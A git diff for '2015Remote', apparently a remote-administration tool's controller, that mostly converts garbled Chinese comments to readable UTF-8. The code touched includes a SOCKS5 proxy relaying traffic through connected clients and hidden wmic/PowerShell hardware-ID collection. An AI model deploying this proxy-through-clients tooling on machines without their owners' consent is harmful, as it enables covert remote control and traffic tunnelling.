m_listFreePool; CLock m_Locker; - int m_nPort; // ˿ - CONNID m_IDs[65535]; // ID - LONG m_bStop; // ˿ֹͣ߿ - int m_nMaxConnection; // - BOOL m_bIsRun; // ״̬ - DWORD m_dwIndex; // ӱ + int m_nPort; // 插件端口 + CONNID m_IDs[65535]; // 所有连接ID + LONG m_bStop; // 端口停止上线控制 + int m_nMaxConnection; // 最大连接数 + BOOL m_bIsRun; // 运行状态 + DWORD m_dwIndex; // 连接编号 }; diff --git a/server/2015Remote/proxy/ProxyMapDlg.cpp b/server/2015Remote/proxy/ProxyMapDlg.cpp index a6214fe..de28712 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.cpp +++ b/server/2015Remote/proxy/ProxyMapDlg.cpp @@ -1,4 +1,4 @@ -// ProxyMapDlg.cpp : implementation file +// ProxyMapDlg.cpp : implementation file // #include "stdafx.h" @@ -51,10 +51,10 @@ BOOL CProxyMapDlg::OnInitDialog() m_EditOther.SetLimitText(MAXDWORD); CString str; - // IPCP + // 开启IPCP服务器 m_nPort = 5543; if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) { - MessageBox("ʼʧ!", "ʾ"); + MessageBox("初始化代理服务器失败!", "提示"); return FALSE; } TCHAR ip[256] = {}; @@ -62,16 +62,16 @@ BOOL CProxyMapDlg::OnInitDialog() m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort); CString strString; - strString.Format("%s - ", m_IPAddress); + strString.Format("%s - 代理服务", m_IPAddress); SetWindowText(strString); - str.Format(_T("SOCKS ÷Ϊ: <127.0.0.1:%d>\r\n"), m_nPort); + str.Format(_T("SOCKS 代理软件请设置服务器为: <127.0.0.1:%d>\r\n"), m_nPort); AddLog(str.GetBuffer(0)); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { pSysMenu->AppendMenu(MF_SEPARATOR); - pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("Chrome(رChrome)(&P)")); + pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("代理打开Chrome(请关闭所有Chrome进程)(&P)")); } return TRUE; @@ -80,7 +80,7 @@ BOOL CProxyMapDlg::OnInitDialog() void CProxyMapDlg::OnCancel() { m_bIsClosed = true; - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -103,7 +103,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT try { switch (nCode) { case NC_CLIENT_CONNECT: - wsprintf(szMsg, _T("%d \r\n"), index); + wsprintf(szMsg, _T("%d 新连接\r\n"), index); break; case NC_CLIENT_DISCONNECT: if (pContext->m_bProxyConnected) { @@ -112,7 +112,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT memcpy(lpData + 1, &index, sizeof(DWORD)); g_pProxyMap->m_ContextObject->Send2Client(lpData, 5); } - wsprintf(szMsg, _T("%d ӶϿ\r\n"), index); + wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index); break; case NC_TRANSMIT: break; @@ -120,27 +120,27 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT if (pContext->m_bProxyConnected == 2) { g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0), pContext->InDeCompressedBuffer.GetBufferLength()); - wsprintf(szMsg, _T("%d <== %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5); + wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5); } else if (pContext->m_bProxyConnected == 0) { char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5); pContext->m_bProxyConnected = 1; g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok)); - wsprintf(szMsg, _T("%d رʾ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]); + wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]); } else if (pContext->m_bProxyConnected == 1) { LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5); BYTE buf[11] = {}; if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) { if (lpData[3] == 1) { // ipv4 - buf[0] = COMMAND_PROXY_CONNECT; // 1ֽ ip v4 - memcpy(buf + 1, &index, 4); // ĸֽ ׽ֵı - memcpy(buf + 5, lpData + 4, 6); // 4ֽip 2ֽڶ˿ + buf[0] = COMMAND_PROXY_CONNECT; // 1个字节 ip v4 连接 + memcpy(buf + 1, &index, 4); // 四个字节 套接字的编号 + memcpy(buf + 5, lpData + 4, 6); // 4字节ip 2字节端口 g_pProxyMap->m_ContextObject->Send2Client(buf, sizeof(buf)); in_addr inaddr = {}; inaddr.s_addr = *(DWORD*)(buf + 5); char szmsg1[MAX_PATH]; - wsprintfA(szmsg1, "%d IPV4 %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9))); - } else if (lpData[3] == 3) { // + wsprintfA(szmsg1, "%d IPV4 连接 %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9))); + } else if (lpData[3] == 3) { // 域名 Socks5Info* Socks5Request = (Socks5Info*)lpData; BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8]; ZeroMemory(HostName, Socks5Request->IP_LEN + 8); @@ -150,10 +150,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2); g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8); SAFE_DELETE_ARRAY(HostName); - wsprintf(szMsg, _T(" %d \r\n"), index); + wsprintf(szMsg, _T("域名 连接 %d \r\n"), index); } else if (lpData[3] == 4) { //ipv6 char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support - wsprintf(szMsg, _T("%d IPV6 ֧..."), index); + wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index); g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok)); g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket); break; @@ -165,7 +165,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT buf[3] = lpData[3]; g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf)); g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket); - wsprintf(szMsg, _T("%d Ҫ, Ͽ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]); + wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]); } } break; @@ -206,9 +206,9 @@ void CProxyMapDlg::OnReceiveComplete() if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) { if (sendbuf[1] == 0) { pContext_proxy->m_bProxyConnected = 2; - wsprintf(szMsg, _T("%d ӳɹ\r\n"), index); + wsprintf(szMsg, _T("%d 连接成功\r\n"), index); } else - wsprintf(szMsg, _T("%d ʧ\r\n"), index); + wsprintf(szMsg, _T("%d 连接失败\r\n"), index); m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf)); AddLog(szMsg); } @@ -234,13 +234,13 @@ void CProxyMapDlg::OnReceiveComplete() AddLog(szMsg); return; } - wsprintf(szMsg, _T("%d ==> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5); + wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5); AddLog(szMsg); } } break; default: - // ䷢쳣 + // 传输发生异常数据 break; } } diff --git a/server/2015Remote/proxy/ProxyMapDlg.h b/server/2015Remote/proxy/ProxyMapDlg.h index b3a9fbd..9781858 100644 --- a/server/2015Remote/proxy/ProxyMapDlg.h +++ b/server/2015Remote/proxy/ProxyMapDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "stdafx.h" #include "ProxyConnectServer.h" #include "Resource.h" @@ -30,7 +30,7 @@ typedef struct { BYTE szIP; } Socks5Info; -// : curl --socks5 127.0.0.1:5543 https://www.example.com +// 代理测试: curl --socks5 127.0.0.1:5543 https://www.example.com class CProxyMapDlg : public DialogBase { public: diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp index 661ba85..b7ac148 100644 --- a/server/2015Remote/pwd_gen.cpp +++ b/server/2015Remote/pwd_gen.cpp @@ -1,4 +1,4 @@ - + #ifdef _WINDOWS #include "stdafx.h" #else @@ -21,52 +21,52 @@ #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "bcrypt.lib") -// ִϵͳȡӲϢ +// 执行系统命令,获取硬件信息 std::string execCommand(const char* cmd) { - // ùܵڲ + // 设置管道,用于捕获命令的输出 SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; - // ڽĹܵ + // 创建用于接收输出的管道 HANDLE hStdOutRead, hStdOutWrite; if (!CreatePipe(&hStdOutRead, &hStdOutWrite, &saAttr, 0)) { Mprintf("CreatePipe failed with error: %d\n", GetLastError()); return "ERROR"; } - // Ϣ + // 设置启动信息 STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; - // ô + // 设置窗口隐藏 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; - si.hStdOutput = hStdOutWrite; // ׼ض򵽹ܵ + si.hStdOutput = hStdOutWrite; // 将标准输出重定向到管道 - // + // 创建进程 if (!CreateProcess( - NULL, // Ӧó - (LPSTR)cmd, // - NULL, // ̰ȫ - NULL, // ̰߳ȫ - TRUE, // Ƿ̳о - 0, // ־ - NULL, // - NULL, // ǰĿ¼ - &si, // Ϣ - &pi // Ϣ + NULL, // 应用程序名称 + (LPSTR)cmd, // 命令行 + NULL, // 进程安全属性 + NULL, // 线程安全属性 + TRUE, // 是否继承句柄 + 0, // 创建标志 + NULL, // 环境变量 + NULL, // 当前目录 + &si, // 启动信息 + &pi // 进程信息 )) { Mprintf("CreateProcess failed with error: %d\n", GetLastError()); return "ERROR"; } - // رд˾ + // 关闭写入端句柄 SAFE_CLOSE_HANDLE(hStdOutWrite); - // ȡ + // 读取命令输出 char buffer[128]; std::string result = ""; DWORD bytesRead; @@ -74,27 +74,27 @@ std::string execCommand(const char* cmd) result.append(buffer, bytesRead); } - // رնȡ˾ + // 关闭读取端句柄 SAFE_CLOSE_HANDLE(hStdOutRead); - // ȴ + // 等待进程完成 WaitForSingleObject(pi.hProcess, INFINITE); - // رս̺߳̾ + // 关闭进程和线程句柄 SAFE_CLOSE_HANDLE(pi.hProcess); SAFE_CLOSE_HANDLE(pi.hThread); - // ȥзͿո + // 去除换行符和空格 result.erase(remove(result.begin(), result.end(), '\n'), result.end()); result.erase(remove(result.begin(), result.end(), '\r'), result.end()); - // + // 返回命令的输出结果 return result.empty() ? "ERROR" : result; } std::string getHardwareID_PS() { - // Get-WmiObject PowerShell 2.0+ (>=Win7) + // Get-WmiObject 在 PowerShell 2.0+ 都可用 (>=Win7) const char* psScript = "(Get-WmiObject Win32_Processor).ProcessorId + '|' + " "(Get-WmiObject Win32_BaseBoard).SerialNumber + '|' + " @@ -111,16 +111,16 @@ std::string getHardwareID_PS() return combinedID; } -// ȡӲ IDCPU + + Ӳ̣ +// 获取硬件 ID(CPU + 主板 + 硬盘) std::string getHardwareID() { - // wmicϵͳܱƳ + // wmic在新系统可能被移除了 std::string cpuID = execCommand("wmic cpu get processorid"); std::string boardID = execCommand("wmic baseboard get serialnumber"); std::string diskID = execCommand("wmic diskdrive get serialnumber"); std::string combinedID = cpuID + "|" + boardID + "|" + diskID; if (combinedID.find("ERROR") != std::string::npos) { - // ʧʹ PowerShell + // 失败再使用 PowerShell 方法 std::string psID = getHardwareID_PS(); if (!psID.empty()) { Mprintf("Get hardware info with PowerShell: %s\n", psID.c_str()); @@ -133,7 +133,7 @@ std::string getHardwareID() return combinedID; } -// ʹ SHA-256 ϣ +// 使用 SHA-256 计算哈希 std::string hashSHA256(const std::string& data) { HCRYPTPROV hProv; @@ -167,7 +167,7 @@ std::string genHMAC(const std::string& pwdHash, const std::string& superPass) return hashSHA256(pwdHash + " - " + key).substr(0, 16); } -// 16 ַΨһ豸 ID +// 生成 16 字符的唯一设备 ID std::string getFixedLengthID(const std::string& hash) { return hash.substr(0, 4) + "-" + hash.substr(4, 4) + "-" + hash.substr(8, 4) + "-" + hash.substr(12, 4); diff --git a/server/2015Remote/pwd_gen.h b/server/2015Remote/pwd_gen.h index de61b38..c530a8d 100644 --- a/server/2015Remote/pwd_gen.h +++ b/server/2015Remote/pwd_gen.h @@ -1,8 +1,8 @@ -#pragma once +#pragma once #include -// ɷ˹ܽм +// 对生成服务端功能进行加密 std::string getHardwareID(); diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 0457d168b9c1f017c711fdf4f75334698656ef29..f6ced729ef41fdf0756eb59c233221e1fd058fc5 100644 GIT binary patch literal 28604 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 